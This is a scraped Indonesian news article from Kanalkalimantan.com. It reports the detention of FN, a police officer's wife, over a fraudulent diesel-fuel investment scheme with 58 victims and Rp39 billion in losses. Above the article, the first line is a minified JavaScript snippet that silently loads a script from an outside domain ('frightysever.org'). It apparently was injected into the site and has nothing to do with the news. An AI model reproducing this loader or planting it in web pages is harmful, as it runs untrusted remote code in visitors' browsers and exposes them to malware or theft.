(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Anggota Bhayangkari yang dilaporkan terkait kasus investasi bodong di Kota Banjarbaru, Provinsi Kalimantan Selatan, kini telah mendekam di balik jeruji besi rumah tahanan (Rutan) Polda Kalsel.
Foto FN ditahan tersebar di media sosial (medsos). Istri polisi itu nampak berdiri mengenakan jilbab hitam dan baju motif garis biru muda dan putih. Tangannya sambil memegang papan nama tahanan bertuliskan identitas dan pasal yang disangkakan kepadanya.
FN sendiri diketahui telah ditetapkan sebagai tersangka oleh penyidik Ditreskrimum Polda Kalsel pada 1 April 2023 lalu. Namun, FN tidak langsung dilakukan penahanan.
Baca juga: Terduga Maling Sepeda Motor Diringkus Warga di Jalan Trikora
Kabar penahanan itu juga dikonfirmasi oleh Kabid Humas Polda Kalsel Kombes Pol Adam Erwindi. Penahanan untuk tersangka FN menurutnya telah dilakukan penyidik sejak Senin (22/4/2024).
“Kemarin pada hari Senin malam kita telah melakukan penahanan,” kata Kombes Adam kepada awak media, Selasa (23/4/2024) siang.
Mantan Wakapolres Metro Bekasi Polda Metro Jaya ini membeberkan tersangka FN sementara oleh penyidik dititipkan sebagai tahanan Dit Tahti Polda Kalsel di Banjarmasin.
Baca juga: Nyawa Lelaki di Banjarmasin Berakhir dalam Lilitan Ayunan Hammock
“Selanjutnya kita melengkapi pemberkasan untuk selanjutnya di tahap satukan kepada kejaksaan,” kata Kabid Humas.
Tersangka FN disangkakan melanggar pasal 378 jo pasal 372 Kitab Undang-Undang Hukum Pidana (KUHP) tentang Penipuan dan Penggelapan.
Kasus investasi bodong yang melibatkan anggota Bhayangkari di Kota Banjarbaru itu bermula ketika puluhan orang menggeruduk sebuah rumah yang merupakan tempat tinggal FN. Mereka ingin menanyakan dana investasi solar yang telah disetorkan kepada FN.
Setelah tak menerima kejelasan, para korban yang jumlahnya puluhan berbondong-bondong melaporkan FN ke Polda Kalsel.
Baca juga: Jelang Subuh, Jago Merah Hanguskan Dua Rumah di Bangkal
Tercatat tidak kurang 58 orang korban secara resmi membuat laporan ke Ditreskrimum Polda Kalsel terkait investasi BBM solar bodong yang dijalankan FN dengan kerugian mencapai Rp39 miliar.
Penyidik Ditreskrimum Polda Kalsel sebelumnya juga telah menyita sejumlah aset milik terlapor FN yang diduga terkait dengan bisnis investasi solar yang dijalankannya.
Aset tersebut diantaranya dua unit mobil tangki pengangkut BBM solar berukuran 5.000 liter, lalu ada mobil mewah merk Toyota Alphard dan sebuah mobil merk Brio milik terlapor. Empat aset bergerak tersebut kini telah terparkir di halaman Mapolda Kalsel di Kota Banjarmasin.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.